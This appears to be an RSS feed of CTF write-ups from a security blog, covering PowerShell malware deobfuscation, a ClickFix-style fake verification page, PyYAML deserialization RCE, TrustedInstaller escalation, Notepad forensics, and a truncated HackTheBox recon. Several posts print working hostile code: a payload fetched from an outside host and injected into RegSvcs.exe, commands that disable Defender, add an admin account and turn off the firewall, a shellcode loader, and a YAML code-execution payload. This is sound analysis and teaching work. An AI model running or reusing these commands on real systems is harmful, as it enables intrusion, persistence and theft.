<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/rss.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>MultiTerm</title><description>A coder-ready Astro blog theme with 59 of your favorite color schemes to choose from</description><link>https://0xpiko.github.io</link><item><title>Spaghetti - CTF challenge</title><link>https://0xpiko.github.io/posts/spaghetti</link><guid isPermaLink="true">https://0xpiko.github.io/posts/spaghetti</guid><description>Deobfuscating a heavily obfuscated PowerShell malware to uncover a hidden flag in Windows Defender exclusion settings.</description><pubDate>Sat, 01 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Challenge informations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Name: &lt;code&gt;Spaghetti&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Category: &lt;code&gt;🐞 Malware&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The walkthrough&lt;/h2&gt;
&lt;p&gt;We are presented with two files: &lt;code&gt;spaghetti&lt;/code&gt;, a PowerShell script, and &lt;code&gt;AYGIW.tmp&lt;/code&gt;, which contains what looks like an obfuscated payload.&lt;/p&gt;
&lt;h3&gt;Step 1 — Removing comments&lt;/h3&gt;
&lt;p&gt;The PowerShell script was filled with comments. I removed them all using VSCode&apos;s regex search and replace with the pattern:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;^#.*
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 2 — Removing junk math operations&lt;/h3&gt;
&lt;p&gt;After removing the comments we are left with a lot of useless mathematical operations that evaluate to nothing. After stripping those out, the actual executed logic becomes clear:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function Toggle-IPConfig {
    param (
        [Parameter(Mandatory=$true)]
        [bool]$State
    )

    if ($State) {
        ipconfig /release
    } else {
        ipconfig /renew
    }
}

Function FonatozQZ($monoTXtak) {
    $byTZlist = [System.Collections.Generic.List[Byte]]::new()
    for ($i = 0; $i -lt $monoTXtak.Length; $i +=8) {
        $byTZlist.Add([Convert]::ToByte([String] $monoTXtak.Substring($i, 8), 2))
    }
    return [System.Text.Encoding]::ASCII.GetString($byTZlist.ToArray())
}

Function HombaAmigo([String] $IN) {
    $RunRBTX1 = $IN.Replace(&apos;~&apos;,&apos;000&apos;).Replace(&apos;%&apos;,&apos;4&apos;)
    $bytes = New-Object -TypeName byte[] -ArgumentList ($RunRBTX1.Length / 2)
    for ($i = 0; $i -lt $RunRBTX1.Length; $i += 2) {
        $bytes[$i / 2] = [Convert]::ToByte($RunRBTX1.Substring($i, 2), 16)
    }
    return [byte[]]$bytes
}

$currentDirectory = Get-Location
$fileName = &quot;AYGIW.tmp&quot;
$filePath = Join-Path -Path $currentDirectory -ChildPath $fileName
$MainFileSettings = Get-Content -Path $filePath
$url = &quot;https://textbin.net/raw/jktip2kh0u&quot;
$response = Invoke-WebRequest -Uri $url
$fileContents = $response.Content
$RunRBTX1 = $fileContents
$newTempFolder = $env:temp
$newDestination = $newTempFolder + &quot;\RegSvcs.exe&quot;
$newSourcePath  = &apos;C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe&apos;
Copy-Item $newSourcePath -Destination $newDestination
Toggle-IPConfig -State $true   # To release IP

try {
    [byte[]]$WULC4 = HombaAmigo($MainFileSettings.replace(&apos;WT&apos;,&apos;00&apos;))
    [byte[]]$YIV4Z = HombaAmigo($RunRBTX1)
    $OKM4 = (FonatozQZ(&quot;%1%%%1%1%1111%%%%11%%1%1%11%%%11%111%1%1%111%1%%%11%%1%1&quot;.Replace(&apos;%&apos;,&apos;0&apos;)))
    $x1ct = (FonatozQZ(&quot;0%00%00%0%%0%%%00%%%0%%00%%0%%%%0%%0%0%%0%%00%0%&quot;.Replace(&apos;%&apos;,&apos;1&apos;)))
    $Path   = $newDestination

    try {
        $ncr3 = [Ref].Assembly
        $ncrx3 = $ncr3::Load(($YIV4Z))
        $TXN4Z = MyFunciton($ncrx3);
        $MG5X = $TXN4Z.&apos;GetMethod&apos;($OKM4);
    } catch { }

    try {
        $MG5X.$x1ct($null,[object[]] ($Path.Replace(&quot;%%&quot;,&quot;&quot;),$WULC4));
        $MyOasis4 = (FonatozQZ(&quot;&amp;lt;combination of % and ~&amp;gt;&quot;))
        $MyOasis4 | Invoke-Expression
        $TDefo = (FonatozQZ(&quot;&amp;lt;combination of % and ~&amp;gt;&quot;))
        $TDefo | Invoke-Expression
    } catch { }
} catch { }

start-sleep 3
Toggle-IPConfig -State $false  # To renew IP
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 3 — Tracing the execution&lt;/h3&gt;
&lt;p&gt;The script:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Reads &lt;code&gt;AYGIW.tmp&lt;/code&gt; (the encoded shellcode payload) and fetches an additional payload from &lt;code&gt;textbin.net&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Decodes both using &lt;code&gt;HombaAmigo&lt;/code&gt; (hex decode with character substitutions) and &lt;code&gt;FonatozQZ&lt;/code&gt; (binary string to ASCII)&lt;/li&gt;
&lt;li&gt;Copies &lt;code&gt;RegSvcs.exe&lt;/code&gt; from the .NET framework directory to &lt;code&gt;%TEMP%&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Loads the fetched content as a .NET assembly and calls methods on it to inject the shellcode into &lt;code&gt;RegSvcs.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Evaluates two decoded strings via &lt;code&gt;Invoke-Expression&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Step 4 — Recovering the decoded strings&lt;/h3&gt;
&lt;p&gt;By taking parts of the script and running them in the PowerShell console to log intermediate values, I decoded the &lt;code&gt;$TDefo&lt;/code&gt; variable which contained a Windows Defender exclusion configuration script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Add-MpPreference -ExclusionExtension &quot;.bat&quot;
Add-MpPreference -ExclusionExtension &quot;.exe&quot;
Add-MpPreference -ExclusionExtension &quot;.vbs&quot;
Add-MpPreference -ExclusionExtension &quot;.js&quot;
Add-MpPreference -ExclusionPath  C:\
Add-MpPreference -ExclusionPath  C:\ProgramData\MEMEMAN\
# Add-MpPreference -ExclusionExtension &quot;flag{60814731f508781b9a5f8636c817af9d}&quot;
Add-MpPreference -ExclusionProcess explorer.exe
Add-MpPreference -ExclusionProcess powershell.exe
Add-MpPreference -ExclusionProcess cmd.exe
Set-MpPreference -DisableRealtimeMonitoring $true -DisableScriptScanning $true
# ... (Windows Defender disable commands)
net user System32 /add
net localgroup administrators System32 /add
netsh advfirewall set allprofiles state off
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The flag was hidden as a comment inside the Defender exclusion list:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{60814731f508781b9a5f8636c817af9d}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>0xpiko</author></item><item><title>Verify you are human - CTF challenge</title><link>https://0xpiko.github.io/posts/verify-you-are-human</link><guid isPermaLink="true">https://0xpiko.github.io/posts/verify-you-are-human</guid><description>Explore how Go handles concurrency with goroutines and channels.</description><pubDate>Sat, 01 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Challenge informations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Name: &lt;code&gt;Verify You Are Human&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Category: &lt;code&gt;🐞 Malware&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Author: &lt;code&gt;John Hammond&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The walkthrough&lt;/h2&gt;
&lt;p&gt;The challenge starts with a webpage with a verify you are not a robot form, it prompts us to press &lt;code&gt;win&lt;/code&gt;+&lt;code&gt;R&lt;/code&gt; then &lt;code&gt;Ctrl&lt;/code&gt;+&lt;code&gt;V&lt;/code&gt; then &lt;code&gt;Enter&lt;/code&gt; to verify.
&lt;img src=&quot;./website_starting_point.png&quot; alt=&quot;Verify you are not a robot prompt&quot; title=&quot;The verify you are not a robot prompt&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The script that got copied to the clipboard is the following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe&quot;
-Wi HI -nop -c
&quot;$UkvqRHtIr=$env:LocalAppData+&apos;\&apos;+(Get-Random -Minimum 5482 -Maximum 86245)+&apos;.PS1&apos;;&quot;
+&quot;irm &apos;http://217f6c95.proxy.coursestack.com:443/?tic=1&apos;&amp;gt; $UkvqRHtIr;powershell -Wi HI -ep bypass -f $UkvqRHtIr&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It starts a powershell process with a hidden window and no profile and evaluates the command after the &lt;code&gt;-c&lt;/code&gt; argument, the evaluated command downloads a file from &lt;code&gt;http://217f6c95.proxy.coursestack.com/?tic=1&lt;/code&gt; and saves it into a file under the local appdata having a random name with the &lt;code&gt;.PS1&lt;/code&gt; extension, then invokes it.&lt;/p&gt;
&lt;p&gt;visiting this endpoint returns the following script after a little cleaning we end up with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$pycExtension = &apos;.pyc&apos;;
$guid = [guid]::NewGuid();
$OIEOPTRJGS = $env:LocalAppData;
irm &apos;http://217f6c95.proxy.coursestack.com/?tic=2&apos; -OutFile $OIEOPTRJGS\$guid.pdf;
Add-Type -AssemblyName System.IO.Compression.FileSystem;
[System.IO.Compression.ZipFile]::ExtractToDirectory(&quot;$OIEOPTRJGS\$guid.pdf&quot;, &quot;$OIEOPTRJGS\$guid&quot;);
$PIEVSDDGs = Join-Path $OIEOPTRJGS $guid;
$WQRGSGSD = &quot;$guid&quot;;
$RSHSRHSRJSJSGSE = &quot;$PIEVSDDGs\pythonw.exe&quot;;
$RYGSDFSGSH = &quot;$PIEVSDDGs\cpython-3134.pyc&quot;;
$ENRYERTRYRNTER = New-ScheduledTaskAction -Execute $RSHSRHSRJSJSGSE -Argument &quot;`&quot;$RYGSDFSGSH`&quot;&quot;;
$TDRBRTRNREN = (Get-Date).AddSeconds(180);
$YRBNETMREMY = New-ScheduledTaskTrigger -Once -At $TDRBRTRNREN;
$KRYIYRTEMETN = New-ScheduledTaskPrincipal -UserId &quot;$env:USERNAME&quot; -LogonType Interactive -RunLevel Limited;
Register-ScheduledTask -TaskName $WQRGSGSD -Action $ENRYERTRYRNTER -Trigger $YRBNETMREMY -Principal $KRYIYRTEMETN -Force;
Set-Location $PIEVSDDGs;
$WMVCNDYGDHJ = &quot;cpython-3134&quot; + $pycExtension;
 Rename-Item -Path &quot;cpython-3134&quot; -NewName $WMVCNDYGDHJ;
 iex (&apos;rundll32 shell32.dll,ShellExec_RunDLL &quot;&apos; + $PIEVSDDGs + &apos;\pythonw&quot; &quot;&apos; + $PIEVSDDGs + &apos;\&apos;+ $WMVCNDYGDHJ + &apos;&quot;&apos;);
Remove-Item $MyInvocation.MyCommand.Path -Force;
Set-Clipboard
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The second payload downloads another file and saves it to &lt;code&gt;appdata/&amp;lt;GENERATED-GUID&amp;gt;.pdf&lt;/code&gt; then decompresses the zip into the same directory and runs the compiled python application named &lt;code&gt;cpython-3134.pyc&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After downloading and extracting the zip file, I decompiled the &lt;code&gt;cpython-3134.pyc&lt;/code&gt; file using &lt;a href=&quot;https://www.pylingual.io/&quot;&gt;pylingual&lt;/a&gt; and I got the following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import ctypes

def xor_decrypt(ciphertext_bytes, key_bytes):
    decrypted_bytes = bytearray()
    key_length = len(key_bytes)
    for i, byte in enumerate(ciphertext_bytes):
        decrypted_byte = byte ^ key_bytes[i % key_length]
        decrypted_bytes.append(decrypted_byte)
    return bytes(decrypted_bytes)

shellcode = bytearray(xor_decrypt(base64.b64decode(&apos;zGdgT6GHR9uXJ682kdam1A5TbvJP/Ap87V6JxICzC9ygfX2SUoIL/W5cEP/xekJTjG+ZGgHeVC3clgz9x5X5mgWLGNkga+iixByTBkka0xbqYs1TfOVzk2buDCjAesdisU887p9URkOL0rDve6qe7gjyab4H25dPjO+dVYkNuG8wWQ==&apos;), base64.b64decode(&apos;me6Fzk0HR9uXTzzuFVLORM2V+ZqMbA==&apos;)))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
functype = ctypes.CFUNCTYPE(ctypes.c_void_p)
fn = functype(ptr)
fn()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This script decrypts shell code, then allocates memory the size of the payload using &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc&quot;&gt;VirtualAlloc&lt;/a&gt;, copies the content of the shellcode to the allocated memory using &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/devnotes/rtlmovememory&quot;&gt;RtlMoveMemory&lt;/a&gt;, and finally casts the shellcode function to the correct function type then calls the function.&lt;/p&gt;
&lt;p&gt;To decrypt the shellcode I went to cyberchef and set the following operations:
&lt;img src=&quot;./decode_shellcode_cyberchef.png&quot; alt=&quot;Decrypting Shellcode&quot; title=&quot;Decrypting shellcode using cyberchef&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;55 89 e5 81 ec 80 47 db 97 68 93 d8 84 84 68 90 c3 c6 97 68 c3 90 93 92 68 90 c4 c3 c7 68 9c 93 9c 93 68 c0 9c c6 c6 68 97 c6 9c 93 68 94 c7 9d c1 68 de c1 96 91 68 c3 c9 c4 c2 b9 0a 95 f9 9a 89 e7 81 37 a5 a5 a5 a5 83 c7 04 49 75 f4 c6 44 24 26 cd c6 85 7f ff ff ff ee 89 e6 8d 7d 80 b9 26 4f 3c ee 8a 06 88 07 46 47 49 75 f7 c6 07 ee 8d 3c 24 b9 40 db 97 4f b0 01 88 07 47 49 75 fa c9 c3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Taking this result and decompiling it using &lt;a href=&quot;https://defuse.ca/online-x86-assembler.htm&quot;&gt;defuse.ca&lt;/a&gt; disassembler using the &lt;code&gt;x86&lt;/code&gt; architecture, I had the following instructions:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0:  55                      push   ebp
1:  89 e5                   mov    ebp,esp
3:  81 ec 80 47 db 97       sub    esp,0x97db4780
9:  68 93 d8 84 84          push   0x8484d893
e:  68 90 c3 c6 97          push   0x97c6c390
13: 68 c3 90 93 92          push   0x929390c3
18: 68 90 c4 c3 c7          push   0xc7c3c490
1d: 68 9c 93 9c 93          push   0x939c939c
22: 68 c0 9c c6 c6          push   0xc6c69cc0
27: 68 97 c6 9c 93          push   0x939cc697
2c: 68 94 c7 9d c1          push   0xc19dc794
31: 68 de c1 96 91          push   0x9196c1de
36: 68 c3 c9 c4 c2          push   0xc2c4c9c3
3b: b9 0a 95 f9 9a          mov    ecx,0x9af9950a
40: 89 e7                   mov    edi,esp
42: 81 37 a5 a5 a5 a5       xor    DWORD PTR [edi],0xa5a5a5a5
48: 83 c7 04                add    edi,0x4
4b: 49                      dec    ecx
4c: 75 f4                   jne    0x42
4e: c6 44 24 26 cd          mov    BYTE PTR [esp+0x26],0xcd
53: c6 85 7f ff ff ff ee    mov    BYTE PTR [ebp-0x81],0xee
5a: 89 e6                   mov    esi,esp
5c: 8d 7d 80                lea    edi,[ebp-0x80]
5f: b9 26 4f 3c ee          mov    ecx,0xee3c4f26
64: 8a 06                   mov    al,BYTE PTR [esi]
66: 88 07                   mov    BYTE PTR [edi],al
68: 46                      inc    esi
69: 47                      inc    edi
6a: 49                      dec    ecx
6b: 75 f7                   jne    0x64
6d: c6 07 ee                mov    BYTE PTR [edi],0xee
70: 8d 3c 24                lea    edi,[esp]
73: b9 40 db 97 4f          mov    ecx,0x4f97db40
78: b0 01                   mov    al,0x1
7a: 88 07                   mov    BYTE PTR [edi],al
7c: 47                      inc    edi
7d: 49                      dec    ecx
7e: 75 fa                   jne    0x7a
80: c9                      leave
81: c3                      ret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The instruction at the address &lt;code&gt;0x42&lt;/code&gt; is a xor instruction between the value &lt;code&gt;0xa5a5a5a5&lt;/code&gt; and the contents of the stack that was initialized from &lt;code&gt;0x9&lt;/code&gt; to &lt;code&gt;0x36&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Again using cyberchef I xor&apos;ed the content of the stack with the key &lt;code&gt;0xa5&lt;/code&gt; and I got the flag reversed so I added the &lt;code&gt;reverse&lt;/code&gt; operation and ended up with the flag:
&lt;img src=&quot;./decrypt_flag.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded><author>0xpiko</author></item><item><title>Sigma Linter - CTF challenge</title><link>https://0xpiko.github.io/posts/sigma-linter</link><guid isPermaLink="true">https://0xpiko.github.io/posts/sigma-linter</guid><description>Exploiting PyYAML unsafe deserialization to achieve remote code execution on a Sigma rule linter.</description><pubDate>Wed, 05 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Challenge informations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Name: &lt;code&gt;Sigma Linter&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Category: &lt;code&gt;🌐 Web&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The walkthrough&lt;/h2&gt;
&lt;p&gt;We are presented with a linter for Sigma rules using YAML, there was only one endpoint that accepts a YAML file and the backend was made in Python.&lt;/p&gt;
&lt;p&gt;Python&apos;s &lt;code&gt;PyYAML&lt;/code&gt; library has a well-known unsafe deserialization vulnerability when using &lt;code&gt;yaml.load()&lt;/code&gt; without specifying a safe loader. It allows arbitrary Python objects to be instantiated via the &lt;code&gt;!!python/object/apply&lt;/code&gt; tag, which can be used to execute shell commands.&lt;/p&gt;
&lt;p&gt;The following payload was submitted to the linter endpoint:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;title: Suspicious Process Execution
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image: &apos;*\\cmd.exe&apos;
    CommandLine: &apos;* /c *&apos;
  condition: !!python/object/apply:subprocess.check_output [[&apos;cat&apos;, &apos;flag.txt&apos;]]

level: medium
description: Detects suspicious command execution
author: Security Team
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The key part is the &lt;code&gt;condition&lt;/code&gt; field — instead of a valid Sigma condition string, we inject a &lt;code&gt;!!python/object/apply&lt;/code&gt; tag that calls &lt;code&gt;subprocess.check_output&lt;/code&gt; with &lt;code&gt;[&apos;cat&apos;, &apos;flag.txt&apos;]&lt;/code&gt; as arguments.&lt;/p&gt;
&lt;p&gt;When the backend deserializes this YAML using the unsafe &lt;code&gt;yaml.load()&lt;/code&gt;, it executes the command and the output is returned in the response, giving us the flag.&lt;/p&gt;
</content:encoded><author>0xpiko</author></item><item><title>TrustMe - CTF challenge</title><link>https://0xpiko.github.io/posts/trustme</link><guid isPermaLink="true">https://0xpiko.github.io/posts/trustme</guid><description>Escalating privileges to TrustedInstaller on Windows to execute a binary and retrieve the flag.</description><pubDate>Fri, 07 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Challenge informations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Name: &lt;code&gt;TrustMe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Category: &lt;code&gt;💠 Windows&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The walkthrough&lt;/h2&gt;
&lt;p&gt;We are presented with a binary on the desktop that outputs the following message when executed normally:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./message.png&quot; alt=&quot;TrustMe binary output&quot; title=&quot;TrustMe binary requires TrustedInstaller privileges&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The binary requires being run as &lt;code&gt;TrustedInstaller&lt;/code&gt;. After researching how to escalate to that level, I found &lt;a href=&quot;https://www.tiraniddo.dev/2017/08/the-art-of-becoming-trustedinstaller.html&quot;&gt;this blog post&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;First attempt — hijacking the TrustedInstaller service path&lt;/h3&gt;
&lt;p&gt;The first approach was to redirect the &lt;code&gt;TrustedInstaller&lt;/code&gt; service binary path to run our target executable:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sc.exe config TrustedInstaller binpath= &quot;cmd /c powershell -c C:\Users\Administrator\Desktop\TrustMe.exe&quot;
Start-Service TrustedInstaller
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The process does execute (visible in Task Manager) but does not show output on screen. We can see it ran:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./screenshot_145228.png&quot; alt=&quot;TrustMe running via service hijack&quot; title=&quot;Process running but no visible output&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Second approach — spawning a child process using NtObjectManager&lt;/h3&gt;
&lt;p&gt;The blog post describes a cleaner method: spawning a new process as a child of &lt;code&gt;TrustedInstaller.exe&lt;/code&gt; using the &lt;code&gt;NtObjectManager&lt;/code&gt; PowerShell module.&lt;/p&gt;
&lt;p&gt;Since the machine had no internet access, I switched to the VPN, downloaded the NuGet package on my local machine from &lt;a href=&quot;https://www.powershellgallery.com/packages/NtObjectManager/1.1.32&quot;&gt;PowerShell Gallery&lt;/a&gt;, served it over HTTP:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python -m http.server 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then fetched and installed it on the Windows machine:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl http://10.200.7.48:8080/ntobjectmanager.zip -O ntobjectmanager.zip

# Extract and install the module
Expand-Archive -Path .\ntobjectmanager.zip -DestinationPath NtObjectManager
$env:PSModulePath -split &apos;;&apos;
cp NtObjectManager C:\Users\Administrator\Documents\WindowsPowerShell\Modules
Import-Module NtObjectManager
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: version &lt;code&gt;1.1.32&lt;/code&gt; was required — version &lt;code&gt;1.1.20&lt;/code&gt; did not work.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Before using the module, reset the &lt;code&gt;TrustedInstaller&lt;/code&gt; service path back to normal:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sc.exe config TrustedInstaller binpath= &apos;C:\Windows\servicing\TrustedInstaller.exe&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then spawn &lt;code&gt;TrustMe.exe&lt;/code&gt; as a child of the &lt;code&gt;TrustedInstaller&lt;/code&gt; process:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Start the TrustedInstaller service
Start-Service TrustedInstaller

# Get the TrustedInstaller process
$p = Get-NtProcess -Name TrustedInstaller.exe

# Spawn TrustMe.exe as a child of TrustedInstaller
$proc = New-Win32Process .\Desktop\TrustMe.exe -ParentProcess $p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The binary now runs with &lt;code&gt;TrustedInstaller&lt;/code&gt; privileges and outputs the flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./screenshot_152655.png&quot; alt=&quot;Flag revealed&quot; title=&quot;Flag output after running as TrustedInstaller&quot; /&gt;&lt;/p&gt;
</content:encoded><author>0xpiko</author></item><item><title>Tabby&apos;s Date - CTF challenge</title><link>https://0xpiko.github.io/posts/tabbys-date</link><guid isPermaLink="true">https://0xpiko.github.io/posts/tabbys-date</guid><description>Recovering data from Windows Notepad TabState binary files in a forensics challenge.</description><pubDate>Sun, 09 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Challenge informations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Name: &lt;code&gt;Tabby&apos;s Date&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Category: &lt;code&gt;🔍 Forensics&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The walkthrough&lt;/h2&gt;
&lt;p&gt;We are presented with a zip file so after extracting its contents, we are presented with a lot of folders most of them are empty.&lt;/p&gt;
&lt;p&gt;So to find the non-empty folders I ran the following command.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find ./C -type f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This returned the paths to all the files under the &lt;code&gt;C&lt;/code&gt; folder.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;...
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/002d2531-9aff-42b1-b54d-b178c88063b4.bin
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/04165ca3-c82b-42ca-ab07-0c774ae66efd.bin
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/056941ef-d51d-4e57-9a55-b59d58bf3fcb.bin
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/14623d59-ad8c-43a8-b669-587f049a1516.bin
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/17de440f-3f69-4d8a-94fe-f3d4b9cf0c3f.bin
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/1aebb59c-5d51-41f1-918e-dec9e1a28ce1.bin
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/2d755c27-5840-47ad-a4ca-ed8041dd3047.bin
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/2e0dd6b6-ba93-4efc-9fd4-985dad74869a.bin
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/414e4071-60e6-4bb6-9a5a-f1e5bf6fe79c.bin
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/45dcdbe4-26b5-4e0b-ba2d-29e9e9c1e11b.bin
./C/Users/Tabby/AppData/Local/Packages/Microsoft.WindowsNotepad_8wekyb3d8bbwe/LocalState/TabState/4f1c96a1-960c-4cee-9751-fe4b4f59fdd0.bin
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Looking at the contents of one of these files it has a lot of null bytes since Windows uses &lt;code&gt;UTF-16-LE&lt;/code&gt; encoding for texts.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for x in $(find ./C -type f); do strings -e l $x; done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The command above will print the &lt;code&gt;UTF-16-LE&lt;/code&gt; text in these files. All we need to add now is a lookup for the keyword &lt;code&gt;flag&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for x in $(find ./C -type f); do strings -e l $x; done | grep flag
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we get:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;they told me the password is: flag{165d19b610c02b283fc1a6b4a54c4a58}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>0xpiko</author></item><item><title>MakeSense - HackTheBox</title><link>https://0xpiko.github.io/posts/makesense</link><guid isPermaLink="true">https://0xpiko.github.io/posts/makesense</guid><description>Chaining a stored XSS in a WordPress contact form into admin takeover, RCE via a malicious plugin, SSH access, and a PHP file-upload bypass on an internal OCR service to root the box.</description><pubDate>Sat, 11 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Machine informations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Name: &lt;code&gt;MakeSense&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;OS: &lt;code&gt;Linux&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Domain: &lt;code&gt;makesense.htb&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;p&gt;An initial &lt;code&gt;nmap&lt;/code&gt; scan shows SSH, a filtered HTTP port on 80, HTTPS on 443 serving a WordPress site, and a filtered service on port 8001:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PORT     STATE    SERVICE     VERSION
22/tcp   open     ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp   filtered http
443/tcp  open     ssl/http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Agency LLC
|_http-generator: WordPress 7.0
| ssl-cert: Subject: commonName=makesense.htb
8001/tcp filtered vcom-tunnel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The certificate common name &lt;code&gt;makesense.htb&lt;/code&gt; gives us the vhost. Port &lt;code&gt;8001&lt;/code&gt; is filtered from the outside — keep it in mind, it becomes the privilege escalation vector later.&lt;/p&gt;
&lt;p&gt;Browsing to &lt;code&gt;https://makesense.htb&lt;/code&gt; lands on the &quot;WebAgency / Agency LLC&quot; WordPress site:&lt;/p&gt;
